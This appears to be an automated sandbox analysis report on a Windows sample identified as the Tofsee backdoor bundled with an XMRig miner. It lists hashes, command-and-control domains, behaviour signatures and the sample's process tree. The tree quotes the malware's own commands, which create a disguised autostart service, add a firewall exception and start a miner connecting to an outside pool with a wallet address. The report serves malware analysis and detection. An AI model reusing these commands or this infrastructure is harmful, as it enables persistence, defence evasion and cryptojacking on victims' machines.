Overview

overview

10

Static

static

1

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    06/02/2023, 20:50

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General

  • Target

    file.exe

  • Size

    300KB

  • MD5

    8ba26140aec7702f27a18eb7e9238fe9

  • SHA1

    3e5b466368a5077dc9b938ea45642331986f8827

  • SHA256

    e764480dd6acba37e913e3e907d44f5f912c56c067caf5118101aaa12445bbbd

  • SHA512

    eb48d8a92dd494fc421f42910f9185eae2464e97b1c2932f76aa97810dded8ae9f007e81ad5cdb43b58bd08509efa1e4c1b697f098008e1887086be37bbd5d79

  • SSDEEP

    3072:CRwb6b2PyLhUGRG/ukjNP99fTP5YTt/BuQjiMTE5B5Eafj:Cy1PyLW1WkjNV9fL2TFBuQj9wEa

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:580
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jfkwzinb\
      2⤵
        PID:804
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sikxogr.exe" C:\Windows\SysWOW64\jfkwzinb\
        2⤵
          PID:1936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jfkwzinb binPath= "C:\Windows\SysWOW64\jfkwzinb\sikxogr.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jfkwzinb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:456
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jfkwzinb
          2⤵
          • Launches sc.exe
          PID:600
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1252
      • C:\Windows\SysWOW64\jfkwzinb\sikxogr.exe
        C:\Windows\SysWOW64\jfkwzinb\sikxogr.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:268
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1712
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1384

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\sikxogr.exe
        Filesize

        14.3MB

        MD5

        bac9d4684f2712924236df702321c9e4

        SHA1

        39deaca0619e3c5011ec3bf5698f0595536d3391

        SHA256

        b05bb0def9412c8949789a7b3170e94463f4f53b325f206f902cb4c5cd940d56

        SHA512

        84c6e666b1686e16013790d48204a380936ccb60e05e29ce63b23f9d63f5faf99014c53060dfa33890db269433120da299ff4fa2490df64710d5d6955fce187a

        Download Submit

      • C:\Windows\SysWOW64\jfkwzinb\sikxogr.exe
        Filesize

        14.3MB

        MD5

        bac9d4684f2712924236df702321c9e4

        SHA1

        39deaca0619e3c5011ec3bf5698f0595536d3391

        SHA256

        b05bb0def9412c8949789a7b3170e94463f4f53b325f206f902cb4c5cd940d56

        SHA512

        84c6e666b1686e16013790d48204a380936ccb60e05e29ce63b23f9d63f5faf99014c53060dfa33890db269433120da299ff4fa2490df64710d5d6955fce187a

        Download Submit

      • memory/268-78-0x0000000000400000-0x00000000004C8000-memory.dmp

        Filesize

        800KB

        Download

      • memory/268-75-0x000000000056C000-0x0000000000581000-memory.dmp

        Filesize

        84KB

        Download

      • memory/580-58-0x0000000000400000-0x00000000004C8000-memory.dmp

        Filesize

        800KB

        Download

      • memory/580-57-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

        Download

      • memory/580-56-0x00000000005EC000-0x0000000000601000-memory.dmp

        Filesize

        84KB

        Download

      • memory/580-66-0x00000000005EC000-0x0000000000601000-memory.dmp

        Filesize

        84KB

        Download

      • memory/580-67-0x0000000000400000-0x00000000004C8000-memory.dmp

        Filesize

        800KB

        Download

      • memory/580-54-0x0000000075931000-0x0000000075933000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1384-100-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1384-98-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1712-70-0x00000000000E0000-0x00000000000F5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1712-79-0x00000000000E0000-0x00000000000F5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1712-80-0x00000000019A0000-0x0000000001BAF000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/1712-83-0x0000000000080000-0x0000000000086000-memory.dmp

        Filesize

        24KB

        Download

      • memory/1712-86-0x0000000000100000-0x0000000000110000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1712-89-0x0000000000150000-0x0000000000155000-memory.dmp

        Filesize

        20KB

        Download

      • memory/1712-92-0x0000000005490000-0x000000000589B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1712-95-0x0000000000310000-0x0000000000317000-memory.dmp

        Filesize

        28KB

        Download

      • memory/1712-72-0x00000000000E0000-0x00000000000F5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1712-107-0x00000000000E0000-0x00000000000F5000-memory.dmp

        Filesize

        84KB

        Download